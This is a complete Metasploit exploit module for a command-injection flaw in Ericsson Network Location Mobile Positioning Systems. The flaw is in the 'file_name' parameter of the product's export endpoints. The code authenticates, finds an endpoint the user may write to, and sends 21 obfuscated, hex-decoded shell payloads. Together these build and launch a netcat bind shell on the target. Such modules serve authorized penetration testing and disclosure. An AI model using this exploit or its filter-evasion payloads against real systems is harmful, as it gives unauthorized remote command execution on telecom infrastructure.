##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.
The "export" feature in various parts of the application is vulnerable.
It is a feature made for the information in the tables to be exported to the server and imported later when required.
Export operations contain "file_name" parameter.
This parameter is assigned as a variable between the server commands on the backend side.
It allows command injection with preventions bypass operation.
"version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
/////// This 0day has been published at DEFCON29-PHV Village. ///////
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2021-'],
['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],
['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 600,
'RPORT' => 10083,
'SSL' => true,
'PAYLOAD' => 'cmd/unix/bind_netcat'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Ericsson NLG', {}]],
'DisclosureDate' => 'Apr 21 2021',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'NLG Username']),
OptString.new('PASSWORD', [true, 'NLG Password']),
OptString.new('TARGETURI', [true, 'Base path for NLG application', '/'])
]
end
######################################################
#
# There are a total of 20 vulnerable areas.
# These areas are located in cells,psap,numbering,smpp fields.
# One request for each of these fields has been used for exploitation.
# These are listed below.
#
# /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
# /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1
# /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
# /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
#
######################################################
# for Origin and Referer headers
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
def cluster
res = send_request_cgi({
# clusters information to API directories
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
'method' => 'GET'
})
if res && res.code == 200 && res.body =~ /version/
cls_version = split(res.body, "version")
cls_node_type = split(res.body, "node_type")
cls_name = split(res.body, "cluster_name")
cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
return cls_version, cls_node_type, cls_name, cls_id
else
fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
end
end
def permission_check(token)
# By giving numbers to the vulnerable areas, we can easily use them in JSON format.
json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
parse = JSON.parse(json_urls)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i <= 6 do
link = parse["#{i}"]
i +=1
# The cells export operation returns 409 response when frequent requests are made.
# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.
if link == "/cells/gsm/cgi_cells/"
sleep(7)
end
filename = Rex::Text.rand_text_alpha_lower(6)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
if res && res.code == 403 then # !200
next
elsif res && res.code == 200
return link, true
elsif res && res.code == 400
return link, true
elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
return "no link", false
end
end
end
def check
# check connection and login
token = login(datastore['USERNAME'], datastore['PASSWORD'])
res = send_request_cgi({
# product information check
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
if res && res.code == 200 && res.body =~ /version/
version = split(res.body, "version")
pnumber = split(res.body, "product_number")
print_status("Product Number:#{pnumber} - Version:#{version}")
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def login(user, pass)
json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'
res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
'headers' =>
{
'Origin' => "#{peer}"
},
'data' => json_login
})
if res && res.code == 200 && res.body =~ /true/
auth_token = split(res.body, "authToken")
return auth_token
else
fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')
end
end
def prep_payloads(token, link)
fifo = Rex::Text.rand_text_alpha_lower(4)
#/ = 2F - y
#; = 3B - z
#| = 7C - p
#>& = 3E26 - v
#>/ = 3E2F - g
#> = 3E - k
#< = 3C - c
#' = 27 - t
#$ = 24 - d
#\ = 5C - b
#! = 21 - u
#" = 22 - x
#( = 28 - m
#) = 29 - i
#, = 2C - o
#_ = 5F - a
# echo `xxd -r -p <<< 2F`>y
payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '
# echo `xxd -r -p <<< 3B`>z
payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '
#echo `xxd -r -p <<< 7C`>p
payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E26`>v
payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E`>k
payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '
#echo `xxd -r -p <<< 27`>t
payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '
#echo `xxd -r -p <<< 24`>d
payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '
#echo `xxd -r -p <<< 5C`>b
payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '
#echo `xxd -r -p <<< 21`>u
payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '
#echo `xxd -r -p <<< 22`>x
payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '
#echo `xxd -r -p <<< 28`>m
payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '
#echo `xxd -r -p <<< 29`>i
payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '
#echo `xxd -r -p <<< 2C`>o
payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '
#echo `xxd -r -p <<< 5F`>a
payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3C`>c
payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E2F`>g
payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl") +'", '
#echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1
payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl") +'", '
#echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2
payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl") +'", '
#echo `cat p1` `cat p2` > 1.sh
payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl") +'", '
#chmod +x 1.sh
payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", '
#sh 1.sh
payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}'
if link == "/cells/gsm/cgi_cells/"
print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")
end
parse = JSON.parse(payloads)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i <= 21 do
pay = parse["#{i}"]
i +=1
if link == "/cells/gsm/cgi_cells/"
sleep(7)
end
send_payloads(cls_id, cls_node_type, token, link, pay)
end
end
def send_payloads(id, type, token, link, pay)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])
unless true == permission_check(auth_token)[1]
fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')
else
perm_link = permission_check(auth_token)[0]
print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")
end
prep_payloads(auth_token, perm_link)
end
end